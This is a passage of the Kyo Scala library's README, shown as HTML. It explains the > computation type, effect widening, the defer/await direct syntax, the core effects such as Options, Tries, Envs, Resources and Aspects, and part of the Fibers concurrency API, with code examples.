patterns.</p> <h2>Table of Contents</h2> <ol> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#the--type">The <code>&gt;</code> type</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#effect-widening">Effect widening</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#using-effects">Using effects</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#direct-syntax">Direct Syntax</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#core-effects">Core Effects</a> <ol> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#aborts-short-circuiting">Aborts: Short Circuiting</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#ios-side-effects">IOs: Side Effects</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#envs-dependency-injection">Envs: Dependency Injection</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#locals-scoped-values">Locals: Scoped Values</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#resources-resource-safety">Resources: Resource Safety</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#choices-exploratory-branching">Choices: Exploratory Branching</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#aspects-aspect-oriented-programming">Aspects: Aspect-Oriented Programming</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#options-optional-values">Options: Optional Values</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#tries-exception-handling">Tries: Exception Handling</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#consoles-console-interaction">Consoles: Console Interaction</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#clocks-time-management">Clocks: Time Management</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#randoms-random-values">Randoms: Random Values</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#loggers-logging">Loggers: Logging</a></li> </ol> </li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#concurrent-effects">Concurrent Effects</a> <ol> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#fibers-green-threads">Fibers: Green Threads</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#queues-concurrent-queuing">Queues: Concurrent Queuing</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#channels-asynchronous-communication">Channels: Asynchronous Communication</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#meters-computational-limits">Meters: Computational Limits</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#timers-scheduled-execution">Timers: Scheduled Execution</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#latches-fiber-coordination">Latches: Fiber Coordination</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#atomics-concurrent-state">Atomics: Concurrent State</a></li> <li><a href="https://raw.githubusercontent.com/getkyo/kyo/main/#adders-concurrent-accumulation">Adders: Concurrent Accumulation</a></li> </ol> </li> </ol> <h2>The <code>&gt;</code> type</h2> <p>In Kyo, computations are expressed via the infix type <code>&gt;</code>, which takes two parameters:</p> <ol> <li>The type of the expected output.</li> <li>The pending effects that need to be handled, represented as an unordered type-level set via a type intersection.</li> </ol> <pre><code class="language-scala">import kyo._ // Expect an 'Int' after handling // the 'Options' effect Int &gt; Options // Expect a 'String' after handling // both 'Options' and 'IOs' effects String &gt; (Options with IOs) </code></pre> <blockquote> <p>Note: The naming convention for effect types is the plural form of the functionalities they manage.</p> </blockquote> <p>In Kyo, any type <code>T</code> is automatically considered to be of type <code>T &gt; Any</code>, where <code>Any</code> denotes an absence of pending effects. In simpler terms, this means that every value in Kyo is automatically a computation, but one without any effects that you need to handle.</p> <p>This design choice streamlines your code by removing the necessity to differentiate between pure values and computations that may have effects. So, when you're dealing with a value of type <code>T &gt; Any</code>, you can safely extract the <code>pure</code> value directly, without worrying about handling any effects.</p> <pre><code class="language-scala">import kyo._ // An 'Int' is also an 'Int &gt; Any' val a: Int &gt; Any = 1 // Since there are no pending effects, // the computation can produce a pure value val b: Int = a.pure </code></pre> <blockquote> <p>Note: This README provides explicit type declarations for clarity. However, Scala's type inference is generally able to infer Kyo types properly.</p> </blockquote> <p>This unique property removes the need to juggle between <code>map</code> and <code>flatMap</code>. All values are automatically promoted to a Kyo computation with zero pending effects, enabling you to focus on your application logic rather than the intricacies of effect handling.</p> <pre><code class="language-scala">import kyo.options._ import kyo.tries._ // Kyo still supports both `map` and `flatMap` def example1(a: Int &gt; Options, b: Int &gt; Tries): Int &gt; (Options with Tries) = a.flatMap(v =&gt; b.map(_ + v)) // but using only `map` is recommended def example2(a: Int &gt; Options, b: Int &gt; Tries): Int &gt; (Options with Tries) = a.map(v =&gt; b.map(_ + v)) </code></pre> <p>The <code>map</code> method automatically updates the set of pending effects. When you apply <code>map</code> to computations that have different pending effects, Kyo reconciles these into a new computation type that combines all the unique pending effects from both operands.</p> <h2>Effect widening</h2> <p>Kyo's set of pending effects is a contravariant type parameter. This encoding permits computations to be widened to encompass a larger set of effects.</p> <pre><code class="language-scala">// An 'Int' with an empty effect set (`Any`) val a: Int &gt; Any = 1 // Widening the effect set from empty (`Any`) // to include `Options` val b: Int &gt; Options = a // Further widening the effect set to include // both `Options` and `Tries` val c: Int &gt; (Options with Tries) = b // Directly widening a pure value to have // `Options` and `Tries` val d: Int &gt; (Options with Tries) = 42 </code></pre> <p>This characteristic enables a fluent API for effectful code. Methods can accept parameters with a specific set of pending effects while also permitting those with fewer or no effects.</p> <pre><code class="language-scala">// The function expects a parameter with both // 'Options' and 'Tries' effects pending def example1(v: Int &gt; (Options with Tries)) = v.map(_ + 1) // A value with only the 'Tries' effect can be // automatically widened to include 'Options' def example2(v: Int &gt; Tries) = example1(v) // A pure value can also be automatically widened def example3 = example1(42) </code></pre> <p>Here, <code>example1</code> is designed to accept an <code>Int &gt; (Options with Tries)</code>. However, thanks to the contravariant encoding of the type-level set of effects, <code>example2</code> and <code>example3</code> demonstrate that you can also pass in computations with a smaller set of effects—or even a pure value—and they will be automatically widened to fit the expected type.</p> <h2>Using effects</h2> <p>Kyo offers a modular approach to effect management, accommodating both built-in and user-defined effects organized in <code>object</code> modules. Importing the corresponding module into scope brings in the effect and any additional types or implicits it may need. The naming convention uses lowercase module names for each effect type.</p> <pre><code class="language-scala">// for 'Options' effect import kyo.options._ // for 'Tries' effect import kyo.tries._ </code></pre> <p>For effects that support it, a <code>get</code> method is provided, which permits the "extraction" of the underlying value from a container type.</p> <pre><code class="language-scala">// Retrieve an 'Int' tagged with 'Options' val a: Int &gt; Options = Options.get(Some(1)) </code></pre> <p>Effect handling is done using the <code>run*</code> methods. Though named <code>run</code>, the operation doesn't necessarily execute the computation immediately, as the effect handling can also be suspended if another effect is pending.</p> <pre><code class="language-scala">// Handle the 'Options' effect val b: Option[Int] &gt; Any = Options.run(a) // Retrieve pure value as there are no more pending effects val c: Option[Int] = b.pure </code></pre> <p>The order in which you handle effects in Kyo can significantly influence both the type and value of the result. Since effects are unordered at the type level, the runtime behavior depends on the sequence in which effects are processed.</p> <pre><code class="language-scala">import scala.util._ def optionsFirst(a: Int &gt; (Options with Tries)): Try[Option[Int]] = { val b: Option[Int] &gt; Tries = Options.run(a) val c: Try[Option[Int]] &gt; Any = Tries.run(b) c.pure } def triesFirst(a: Int &gt; (Options with Tries)): Option[Try[Int]] = { val b: Try[Int] &gt; Options = Tries.run(a) val c: Option[Try[Int]] &gt; Any = Options.run(b) c.pure } </code></pre> <p>In this example, the sequence in which effects are handled has a significant impact on the outcome. This is especially true for effects that can short-circuit the computation.</p> <pre><code class="language-scala">val ex = new Exception // If the effects don't short-circuit, only the // order of nested types in the result changes assert(optionsFirst(Options.get(Some(1))) == Success(Some(1))) assert(optionsFirst(Tries.get(Success(1))) == Success(Some(1))) // Note how the result type changes from // 'Try[Option[T]]' to 'Option[Try[T]]' assert(triesFirst(Options.get(Some(1))) == Some(Success(1))) assert(triesFirst(Tries.get(Success(1))) == Some(Success(1))) // If there's short-circuiting, the // resulting value can be different assert(optionsFirst(Options.get(None)) == Success(None)) assert(optionsFirst(Tries.get(Failure(ex))) == Failure(ex)) assert(triesFirst(Options.get(None)) == None) assert(triesFirst(Tries.get(Failure(ex))) == Some(Failure(ex))) </code></pre> <h2>Direct Syntax</h2> <p>Kyo provides direct syntax for a more intuitive and concise way to express computations, especially when dealing with multiple effects. This syntax leverages two primary constructs: <code>defer</code> and <code>await</code>.</p> <p>Essentially, <code>await</code> is a syntactic sugar for the <code>map</code> function, allowing developers to directly access values from computations without the need for repetitive <code>map</code> chaining. This makes the code more linear and intuitive.</p> <pre><code class="language-scala">import kyo.direct._ import scala.util.Try // Use the direct syntax val a: String &gt; (Tries with Options) = defer { val b: String = await(Options.get(Some("hello"))) val c: String = await(Tries.get(Try("world"))) b + " " + c } // Equivalent desugared val b: String &gt; (Tries with Options) = Options.get(Some("hello")).map { b =&gt; Tries.get(Try("world")).map { c =&gt; b + " " + c } } </code></pre> <p>The <code>defer</code> macro translates the <code>defer</code> and <code>await</code> constructs by virtualizing control flow. It modifies value definitions, conditional branches, loops, and pattern matching to express compurations in terms of <code>map</code>.</p> <p>For added safety, the direct syntax enforces effectful hygiene. Within a <code>defer</code> block, values of the <code>&gt;</code> type must be enclosed by an <code>await</code> block. This approach ensures all effectful computations are explicitly processed, reducing the potential for missed effects or operation misalignment.</p> <pre><code class="language-scala">import kyo.ios._ // This code fails to compile val a: Int &gt; (IOs with Options) = defer { // Incorrect usage of a '&gt;' value // without 'await' IOs(println(42)) val c: Int = await(Options.get(Some(1))) c + 10 } </code></pre> <blockquote> <p>Note: In the absence of effectful hygiene, the side effect <code>IOs(println(42))</code> would be overlooked and never executed. With the hygiene in place, such code results in a compilation error.</p> </blockquote> <p>The syntac sugar supports a variety of constructs to handle effectful computations. These include pure expressions, value definitions, control flow statements like <code>if</code>-<code>else</code>, logical operations (<code>&amp;&amp;</code> and <code>||</code>), <code>while</code>, and pattern matching.</p> <pre><code class="language-scala">import kyo.direct._ defer { // Pure expression val a: Int = 5 // Effectful value val b: Int = await(IOs(10)) // Control flow val c: String = if (await(IOs(true))) "True branch" else "False branch" // Logical operations val d: Boolean = await(IOs(true)) &amp;&amp; await(IOs(false)) val e: Boolean = await(IOs(true)) || await(IOs(true)) // Loop (for demonstration; this loop // won't execute its body) while (await(IOs(false))) { "Looping" } // Pattern matching val matchResult: String = await(IOs(1)) match { case 1 =&gt; "One" case _ =&gt; "Other" } } </code></pre> <p>In Scala 2, <code>kyo-direct</code> draws its macro implementation inspiration from <a href="https://github.com/monadless/monadless">Monadless</a>. For Scala 3, <code>kyo-direct</code> is constructed as a wrapper around <a href="https://github.com/rssh/dotty-cps-async">dotty-cps-async</a>.</p> <blockquote> <p>Note: <code>defer</code> is currently the only macro in Kyo. All other features use regular language constructs.</p> </blockquote> <h2>Core Effects</h2> <p>Kyo's core effects act as the essential building blocks that power your application's various functionalities. Unlike other libraries that might require heavy boilerplate or specialized knowledge, Kyo's core effects are designed to be straightforward and flexible. These core effects not only simplify the management of side-effects, dependencies, and several other aspects but also allow for a modular approach to building maintainable systems.</p> <h3>Aborts: Short Circuiting</h3> <p>The <code>Aborts</code> effect is a generic implementation for short-circuiting effects. It's equivalent to ZIO's failure channel.</p> <pre><code class="language-scala">import kyo.aborts._ // The 'get' method "extracts" the value // from an 'Either' (right projection) val a: Int &gt; Aborts[String] = Aborts[String].get(Right(1)) // short-circuiting via 'Left' val b: Int &gt; Aborts[String] = Aborts[String].get(Left("failed!")) // short-circuiting via 'Fail' val c: Int &gt; Aborts[String] = Aborts[String].fail("failed!") // 'catching' automatically catches exceptions val d: Int &gt; Aborts[Exception] = Aborts[Exception].catching(throw new Exception) </code></pre> <blockquote> <p>Note that the <code>Aborts</code> effect has a type parameter and its methods can only be accessed if the type parameter is provided.</p> </blockquote> <h3>IOs: Side Effects</h3> <p>Kyo is unlike traditional effect systems since its base type <code>&gt;</code> does not assume that the computation can perform side effects. The <code>IOs</code> effect is introduced whenever a side effect needs to be performed.</p> <pre><code class="language-scala">import kyo.ios._ // 'apply' is used to suspend side effects val a: Int &gt; IOs = IOs(Random.nextInt) // 'value' is a shorthand to widen // a pure value to IOs val b: Int &gt; IOs = IOs.value(42) // 'fail' returns a computation that // will fail once IOs is handled val c: Int &gt; IOs = IOs.fail(new Exception) </code></pre> <blockquote> <p>Note: Kyo's effects and public APIs are designed so any side effect is properly suspended via <code>IOs</code>, providing safe building blocks for pure computations.</p> </blockquote> <p>Users shouldn't typically handle the <code>IOs</code> effect directly since it triggers the execution of side effects, which breaks referential transparency. Prefer <code>kyo.App</code> instead.</p> <p>In some specific cases where Kyo isn't used as the main effect system of an application, it might make sense for the user to handle the <code>IOs</code> effect directly. The <code>run</code> method can only be used if <code>IOs</code> is the only pending effect.</p> <pre><code class="language-scala">val a: Int &gt; IOs = IOs(42) // ** Avoid 'IOs.run', use 'kyo.App' instead) ** val b: Int = IOs.run(a).pure // ** Avoid 'IOs.run', use 'kyo.App' instead) ** </code></pre> <p>The <code>runLazy</code> method accepts computations with other effects but it doesn't guarantee that all side effects are performed before the method returns. If other effects still have to be handled, the side effects can be executed later once the other effects are handled. This a low-level API that must be used with caution.</p> <pre><code class="language-scala">// Computation with 'Options' and then // 'IOs' suspensions val a: Int &gt; (Options with IOs) = Options.get(Some(42)).map { v =&gt; IOs { println(v) v } } // ** Avoid 'IOs.runLazy', use 'kyo.App' instead) ** // Handle the 'IOs' effect lazily val b: Int &gt; Options = IOs.runLazy(a) // ** Avoid 'IOs.runLazy', use 'kyo.App' instead) ** // Since the computation is suspended with the // 'Options' effect first, the lazy 'IOs' execution // will be triggered once 'Options' is handled val c: Option[Int] = Options.run(b).pure </code></pre> <blockquote> <p>IMPORTANT: Avoid handling the <code>IOs</code> effect directly since it breaks referential transparency. Use <code>kyo.App</code> instead.</p> </blockquote> <h3>Envs: Dependency Injection</h3> <p><code>Envs</code> is similar to ZIO's environment feature but offers more granular control. Unlike ZIO, which has built-in layering for dependencies, <code>Envs</code> allows you to inject individual services directly. However, it lacks ZIO's structured dependency management; you manage and initialize your services yourself.</p> <pre><code class="language-scala">import kyo.envs._ // Given an interface trait Database { def count: Int &gt; IOs } // The 'Envs' effect can be used to summon an instance. // Note how the computation produces a 'Database' but at the // same time requires a 'Database' from its environment val a: Database &gt; Envs[Database] = Envs[Database].get // Use the 'Database' to obtain the count val b: Int &gt; (Envs[Database] with IOs) = a.map(_.count) // A 'Database' mock implementation val db = new Database { def count = 1 } // Handle the 'Envs' effect with the mock database val c: Int &gt; IOs = Envs[Database].run(db)(b) </code></pre> <p>Additionally, a computation can require multiple values from its environment.</p> <pre><code class="language-scala">// A second interface to be injected trait Cache { def clear: Unit &gt; IOs } // A computation that requires two values val a: Unit &gt; (Envs[Database] with Envs[Cache] with IOs) = Envs[Database].get.map { db =&gt; db.count.map { case 0 =&gt; Envs[Cache].get.map(_.clear) case _ =&gt; () } } </code></pre> <h3>Locals: Scoped Values</h3> <p>The <code>Locals</code> effect operates on top of <code>IOs</code> and enables the definition of scoped values. This mechanism is typically used to store contextual information of a computation. For example, in request processing, locals can be used to store information about the user who initiated the request. In a library for database access, locals can be used to propagate transactions.</p> <pre><code class="language-scala">import kyo.locals._ // Locals need to be initialized with a default value val myLocal: Local[Int] = Locals.init(42) // The 'get' method returns the current value of the local val a: Int &gt; IOs = myLocal.get // The 'let' method assigns a value to a local within the // scope of a computation. This code produces 43 (42 + 1) val b: Int &gt; IOs = myLocal.let(42)(a.map(_ + 1)) </code></pre> <blockquote> <p>Note: Kyo's effects are designed so locals are properly propagated. For example, they're automatically inherited by forked computations in <code>Fibers</code>.</p> </blockquote> <h3>Resources: Resource Safety</h3> <p>The <code>Resources</code> effect handles the safe use of external resources like network connections, files, and any other resource that needs to be freed once the computation finalizes. It serves as a mechanism similar to ZIO's <code>Scope</code>.</p> <pre><code class="language-scala">import kyo.resources._ import java.io.Closeable class Database extends Closeable { def count: Int &gt; IOs = 42 def close() = {} } // The `acquire` method accepts any object that // implements Java's `Closeable` interface val db: Database &gt; (Resources with IOs) = Resources.acquire(new Database) // Use `run` to handle the effect, while also // closing the resources utilized by the // computationation val b: Int &gt; IOs = Resources.run(db.map(_.count)) </code></pre> <p>The <code>ensure</code> method provides a low-level API to handle the finalization of resources directly. The <code>acquire</code> method is implemented in terms of <code>ensure</code>.</p> <pre><code class="language-scala">// Example method to execute a function on a database def withDb[T](f: Database =&gt; T &gt; IOs): T &gt; (IOs with Resources) = // Initializes the database ('new Database' is a placeholder) IOs(new Database).map { db =&gt; // Registers `db.close` to be finalized Resources.ensure(db.close).map { _ =&gt; // Invokes the function f(db) } } // Execute a function val a: Int &gt; (IOs with Resources) = withDb(_.count) // Close resources val b: Int &gt; IOs = Resources.run(a) </code></pre> <h3>Choices: Exploratory Branching</h3> <p>The <code>Choices</code> effect is designed to aid in handling and exploring multiple options, pathways, or outcomes in a computation. This effect is particularly useful in scenarios where you're dealing with decision trees, backtracking algorithms, or any situation that involves dynamically exploring multiple options.</p> <pre><code class="language-scala">import kyo.choices._ // Evaluate each of the provided choices. // Note how 'foreach' takes a 'List[T]' // and returns a 'T &gt; Choices' val a: Int &gt; Choices = Choices.foreach(List(1, 2, 3, 4)) // 'dropIf' discards the current choice if // a condition is not met. Produces a 'List(1, 2)' // since values greater than 2 are dropped val b: Int &gt; Choices = a.map(v =&gt; Choices.dropIf(v &gt; 2).map(_ =&gt; v)) // 'drop' unconditionally discards the // current choice. Produces a 'List(42)' // since only the value 1 is transformed // to 42 and all other values are dropped val c: Int &gt; Choices = b.map { case 1 =&gt; 42 case _ =&gt; Choices.drop } // Handle the effect to evaluate all choices // and return a 'List' with the results val d: List[Int] &gt; Any = Choices.run(c) </code></pre> <p>The Choices effect becomes exceptionally powerful when combined with other effects. This allows you not just to make decisions or explore options in isolation but also to do so in contexts that may involve factors such as asynchronicity, resource management, or even user interaction.</p> <h3>Aspects: Aspect-Oriented Programming</h3> <p>The <code>Aspects</code> effect in Kyo allows for high-level customization of behavior across your application. This is similar to how some frameworks use aspects for centralized control over diverse functionalities like database timeouts, authentication, authorization, and transaction management. You can modify these core operations without altering their individual codebases, streamlining how centralized logic is applied across different parts of an application. This makes <code>Aspects</code> ideal for implementing cross-cutting concerns in a clean and efficient manner.</p> <p>To instantiate an aspect, use the <code>Aspects.init</code> method. It takes three type parameters:</p> <ol> <li><code>T</code>: The input type of the aspect</li> <li><code>U</code>: The output type of the aspect</li> <li><code>S</code>: The effects the aspect may perform</li> </ol> <pre><code class="language-scala">import kyo.aspects._ // Initialize an aspect that takes a 'Database' and returns // an 'Int', potentially performing 'IOs' effects val countAspect: Aspect[Database, Int, IOs] = Aspects.init[Database, Int, IOs] // The method 'apply' activates the aspect for a computation def count(db: Database): Int &gt; (Aspects with IOs) = countAspect(db)(_.count) // To bind an aspect to an implementation, first create a new 'Cut' val countPlusOne = new Cut[Database, Int, IOs] { // The first param is the input of the computation and the second is // the computation being handled def apply[S](v: Database &gt; S)(f: Database =&gt; Int &gt; (Aspects with IOs)) = v.map(db =&gt; f(db).map(_ + 1)) } // Bind the 'Cut' to a computation with the 'let' method. // The first param is the 'Cut' and the second is the computation // that will run with the custom binding of the aspect def example(db: Database): Int &gt; (Aspects with IOs) = countAspect.let(countPlusOne) { count(db) } </code></pre> <p>If an aspect is bound to multiple <code>Cut</code> implementations, the order of their execution is determined by the sequence in which they are scoped within the computation.</p> <pre><code class="language-scala">// Another 'Cut' implementation val countTimesTen = new Cut[Database, Int, IOs] { def apply[S](v: Database &gt; S)(f: Database =&gt; Int &gt; (Aspects with IOs)) = v.map(db =&gt; f(db).map(_ * 10)) } // First bind 'countPlusOne' then 'countTimesTen' // the result will be (db.count + 1) * 10 def example1(db: Database) = countAspect.let(countPlusOne) { countAspect.let(countTimesTen) { count(db) } } // First bind 'countTimesTen' then 'countPlusOne' // the result will be (db.count * 10) + 1 def example2(db: Database) = countAspect.let(countTimesTen) { countAspect.let(countPlusOne) { count(db) } } // Cuts can also be composed via `andThen` def example3(db: Database) = countAspect.let(countTimesTen.andThen(countPlusOne)) { count(db) } </code></pre> <h3>Options: Optional Values</h3> <pre><code class="language-scala">import kyo.options._ // 'get' is used to 'extract' the value of an 'Option' val a: Int &gt; Options = Options.get(Some(1)) // 'apply' is the effectful version of 'Option.apply' val b: Int &gt; Options = Options(1) // If 'apply' receives a 'null', it becomes equivalent to 'Options.get(None)' assert(Options.run(Options(null)) == Options.run(Options.get(None))) // Effectful version of `Option.getOrElse` val c: Int &gt; Options = Options.getOrElse(None, 42) // Effectful version of 'Option.orElse val d: Int &gt; Options = Options.getOrElse(Some(1), c) </code></pre> <h3>Tries: Exception Handling</h3> <pre><code class="language-scala">import kyo.tries._ // 'get' is used to 'extract' the value of a 'Try' val a: Int &gt; Tries = Tries.get(Try(1)) // 'fail' to short-circuit the computation val b: Int &gt; Tries = Tries.fail(new Exception) // 'fail' has an overload that takes an error message val c: Int &gt; Tries = Tries.fail("failed") // 'apply' is the effectful version of 'Try.apply' val d: Int &gt; Tries = Tries(1) // The 'apply' method automatically catches exceptions val e: Int &gt; Tries = Tries(throw new Exception) </code></pre> <h3>Consoles: Console Interaction</h3> <pre><code class="language-scala">import kyo.consoles._ // Read a line from the console val a: String &gt; Consoles = Consoles.readln // Print to stdout val b: Unit &gt; Consoles = Consoles.print("ok") // Print to stdout with a new line val c: Unit &gt; Consoles = Consoles.println("ok") // Print to stderr val d: Unit &gt; Consoles = Consoles.printErr("fail") // Print to stderr with a new line val e: Unit &gt; Consoles = Consoles.printlnErr("fail") // Run with the default implicit 'Console' implementation val f: Unit &gt; IOs = Consoles.run(e) // Explicitly specifying the 'Console' implementation val g: Unit &gt; IOs = Consoles.run(Console.default)(e) </code></pre> <blockquote> <p>Note how <code>Consoles.run</code> returns a computation with the <code>IOs</code> effect pending, which ensures the implementation of <code>Consoles</code> is pure.</p> </blockquote> <h3>Clocks: Time Management</h3> <pre><code class="language-scala">import kyo.clocks._ import java.time.Instant // Obtain the current time val a: Instant &gt; Clocks = Clocks.now // Run with default 'Clock' val b: Instant &gt; IOs = Clocks.run(a) // Run with an explicit 'Clock' val c: Instant &gt; IOs = Clocks.run(Clock.default)(a) </code></pre> <h3>Randoms: Random Values</h3> <pre><code class="language-scala">import kyo.randoms._ // Generate a random 'Int' val a: Int &gt; Randoms = Randoms.nextInt // Generate a random 'Int' within a bound val b: Int &gt; Randoms = Randoms.nextInt(42) // A few method variants val c: Long &gt; Randoms = Randoms.nextLong val d: Double &gt; Randoms = Randoms.nextDouble val e: Boolean &gt; Randoms = Randoms.nextBoolean val f: Float &gt; Randoms = Randoms.nextFloat val g: Double &gt; Randoms = Randoms.nextGaussian // Obtain a random value from a sequence val h: Int &gt; Randoms = Randoms.nextValue(List(1, 2, 3)) // Handle the 'Randoms' effect with the // default implicit `Random` implementation val j: Int &gt; IOs = Randoms.run(h) // Explicitly specify the `Random` implementation val k: Int &gt; IOs = Randoms.run(Random.default)(h) </code></pre> <h3>Loggers: Logging</h3> <pre><code class="language-scala">import kyo.loggers._ // Initialize a 'Logger' instance val a: Logger = Loggers.init("exampleLog") // It's also possible to specify a class val b: Logger = Loggers.init(this.getClass) // A 'Logger' provides trace, debug, info, // warn, and error method variants. Example: val c: Unit &gt; IOs = b.error("example") // Each variant also has a method overload // that takes a 'Throwable' as a second param val d: Unit &gt; IOs = b.error("example", new Exception) </code></pre> <blockquote> <p>Important: The <code>Loggers</code> effect chooses to consider the initialization of a Logger instance as pure, even though it may perform side effects. For optimal performance, <code>Logger</code> instances should be stored in constant fields, a goal that would be challenging to achieve if <code>Loggers.init</code> required an <code>IOs</code> suspension.</p> </blockquote> <h2>Concurrent Effects</h2> <p>The <code>kyo.concurrent</code> package provides utilities for dealing with concurrency in Scala applications. It's a powerful set of effects designed for easier asynchronous programming, built on top of other core functionalities provided by the <code>kyo</code> package.</p> <h3>Fibers: Green Threads</h3> <p>The <code>Fibers</code> effect allows for the asynchronous execution of computations via a managed thread pool. The core function, <code>forkFiber</code>, spawns a new "green thread," also known as a fiber, to handle the given computation. This provides a powerful mechanism for parallel execution and efficient use of system resources. Moreover, fibers maintain proper propagation of <code>Locals</code>, ensuring that context information is carried along during the forking process.</p> <pre><code class="language-scala">import kyo.concurrent.fibers._ // Fork a computation. The parameter is // taken by reference and automatically // suspended with 'IOs' val a: Fiber[Int] &gt; (Fibers with IOs) = Fibers.forkFiber(Math.cos(42).toInt) // It's possible to "extract" the value of a // 'Fiber' via the 'get' method. This is also // referred as "joining the fiber" val b: Int &gt; (Fibers with IOs) = Fibers.get(a) // Alternatively, the 'fork' method is a shorthand // to fork the computation and join the fiber. The // parameter is also taken by reference like in 'fork' val c: Int &gt; (Fibers with IOs) = Fibers.fork(Math.cos(42).toInt) // The 'value' method provides a 'Fiber' instance // fulfilled with the provided pure value val d: Fiber[Int] = Fibers.value(42) // Use 'fail' to create a fiber that will fail // with the provided exception val e: Fiber[Int] = Fibers.fail(new Exception) </code></pre> <p>The <code>parallel</code> methods fork multiple computations in parallel, join the fibers, and return their results.</p> <pre><code class="language-scala">// An example computation val a: Int &gt; IOs = IOs(Math.cos(42).toInt) // There are method overloadings for up to four // parallel computations. Paramters taken by // reference val b: (Int, String) &gt; (Fibers with IOs) = Fibers.parallel(a, "example") // Alternatively, it's possible to provide // a 'Seq' of computations and produce a 'Seq' // with the results val c: Seq[Int] &gt; (Fibers with IOs) = Fibers.parallel(Seq(a, a.map(_ + 1))) // The 'parallelFiber' method is similar but // it doesn't automatically join the fibers and // produces a 'Fiber[Seq[T]]' val d: Fiber[Seq[Int]] &gt; IOs = Fibers.parallelFiber(Seq(a, a.map(_ + 1))) </code></pre> <p>The <code>race</code> methods are similar to <code>parallel</code> but they return the first computation to complete with either a successful result or a failure. Once the first result is produced, the other computations are automatically interrupted.</p> <pre><code class="language-scala">// An example computation val a: Int &gt; IOs = IOs(Math.cos(42).toInt) // There are method overloadings for up to four // computations. Pameters taken by reference val b: Int &gt; (Fibers with IOs) = Fibers.race(a, a.map(_ + 1)) // It's also possible to to provide a 'Seq' // of computations val c: Int &gt; (Fibers with IOs) = Fibers.race(Seq(a, a.map(_ + 1))) // 'raceFiber' produces a 'Fiber' without // joining it val d: Fiber[Int] &gt; IOs = Fibers.raceFiber(Seq(a, a.map(_ + 1))) </code></pre> <p><code>Fibers</code> also provides <code>await</code> to wait for the completion of all computations and discard their results.</p> <pre><code class="language-scala">val a: Int &gt; IOs = IOs(Math.cos(42).toInt) // Also up to four parallel computations. // Parameters taken by reference val a: Unit &gt; (Fibers with IOs) = Fibers.await(a, "srt") // Unit a 'Seq' val b: Unit &gt; (Fibers with IOs) = Fibers.await(Seq(a, a.map(_ + 1))) // Awaiting without joining val c: Fiber[Unit] &gt; IOs = Fibers.awaitFiber(Seq(a, a.map(_ + 1))) </code></pre> <p>The <code>sleep</code> and <code>timeout</code> methods combine the <code>Timers</code> effect to pause a computation or time it out after a duration.</p> <pre><code class="language-scala">import kyo.concurrent.timers._ import scala.concurrent.duration._ // A computation that sleeps for 1s val a: Unit &gt; (Fibers with IOs with Timers) = Fibers.sleep(1.second) // Times out and interrupts the provided // computation in case it doesn't produce // a result within 1s val b: Int &gt; (Fibers with IOs with Timers) = Fibers.timeout(1.second)(Math.cos(42).toInt) </code></pre> <p>The <code>join</code> methods provide interoperability with Scala's <code>Future</code>.</p> <pre><code class="language-scala">import scala.concurrent.Future // An example 'Future' instance val a: Future[Int] = Future.successful(42) // Join the result of a 'Future' val b: Int &gt; (Fibers with IOs) = Fibers.join(a) // Use 'joinFiber' to produce 'Fiber' // instead of joining the computation val c: Fiber[Int] &gt; IOs = Fibers.joinFiber(a) </code></pre> <blockquote> <p>Important: Keep in mind that Scala's Future lacks built-in support for interruption. As a result, any computations executed through Future will run to completion, even if they're involved in a race operation where another computation finishes first.</p> </blockquote> <p>A <code>Fiber</code> instance also provides a few relevant methods.</p> <pre><code class="language-scala">// An example fiber val a: Fiber[Int] = Fibers.value(42) // Check if the fiber is done val b: Boolean &gt; IOs = a.isDone // Instance-level version of 'Fibers.get' val c: Int &gt; Fibers = a.get // Avoid this low-level API to attach a // a callback to a fiber val d: Unit &gt; IOs = a.onComplete(println(_)) // A variant of `get` that returns a `Try` // with the failed or successful result val e: Try[Int] &gt; (Fibers with IOs) = a.getTry // Try to interrupt/cancel a fiber val f: Boolean &gt; IOs = a.interrupt // Try to interrupt a fiber and wait for // its finalization val g: Boolean &gt; (Fibers with IOs) = a.interruptAwait // Transforms a fiber into a Scala 'Future' val h: Future[Int] &gt; IOs = a.toFuture // The 'transform' method is similar to `flatMap` // in Scala's 'Future' val i: Fiber[Int] &gt; IOs = a.transform(v =&gt; Fibers.value(v + 1)) </code></pre> <p>Similarly to <code>IOs</code>, users should avoid handling the <code>Fibers</code> effect directly and rely on <code>kyo.App</code> instead. If strictly necessary, there are two methods to handle the <code>Fibers</code> effect:</p> <ol> <li><code>run</code> takes a computation that has only the <code>Fibers</code> effect pending and returns a <code>Fiber</code> instance without blocking threads.</li> <li><code>runBlocking</code> accepts computations with arbitrary pending effects but it handles asynchronous operations by blocking the current thread.</li> </ol> <pre><code class="language-scala">// An example computation with fibers val a: Int &gt; (Fibers with IOs) = Fibers.fork(Math.cos(42).toInt) // Avoid handling 'Fibers' directly // Note how the code has to handle the // 'IOs' effect and then handle 'Fibers' val b: Fiber[Int] &gt; IOs = Fibers.run(IOs.runLazy(a)) // The 'runBlocking' method accepts // arbitrary pending effects but relies // on thread 